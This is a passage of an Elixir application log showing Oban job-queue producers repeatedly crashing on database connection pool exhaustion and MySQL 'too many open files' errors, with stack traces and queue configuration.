    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:04:53.244888Z], limit: 50, uuid: "9d067dd5-4255-4bd8-b619-301eba1b41ed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:53.244894Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.412>, refresh_timer: #Reference<0.2525715032.1077411843.235368>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:04:53.242806Z], limit: 10, uuid: "4453da48-efc7-417e-b89e-c7b531f6801c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:53.242919Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106125>, refresh_timer: #Reference<0.2525715032.1077411843.235343>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:05.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:04:53.252822Z], limit: 5, uuid: "0ed866d3-e68c-42b6-9b3d-be5f9554e48e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:53.252829Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106124>, refresh_timer: #Reference<0.2525715032.1121189889.106122>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:05.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:04:53.247199Z], limit: 3, uuid: "cdd18092-66da-482d-a267-32e6e38c16ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:53.247204Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.413>, refresh_timer: #Reference<0.2525715032.1068236804.251345>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:06.902000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:07.792000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:08.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:14.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:14.327000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:16.351000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:16.610000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:18.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:05:05.239910Z], limit: 10, uuid: "d283b52a-1c39-43ea-86b7-726b183eb84c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:05.239916Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.251571>, refresh_timer: #Reference<0.2525715032.1068236804.251543>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:05:05.242102Z], limit: 3, uuid: "35092675-52f7-454a-a16f-703b0d60d875", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:05.242108Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.748>, refresh_timer: #Reference<0.2525715032.1121189889.106193>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:05:05.241457Z], limit: 5, uuid: "6ef74e94-3510-4b9e-993e-28e9a75b48f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:05.241463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.251572>, refresh_timer: #Reference<0.2525715032.1068236804.251564>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:18.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:05:05.238850Z], limit: 20, uuid: "3706a012-2e7c-445f-a2c7-9700685e0494", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:05.238855Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235512>, refresh_timer: #Reference<0.2525715032.1077411843.235497>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:18.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:05:05.239067Z], limit: 50, uuid: "236a1c69-a72f-49d6-96cd-7abf15110986", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:05.239073Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235514>, refresh_timer: #Reference<0.2525715032.1077411843.235502>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:18.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

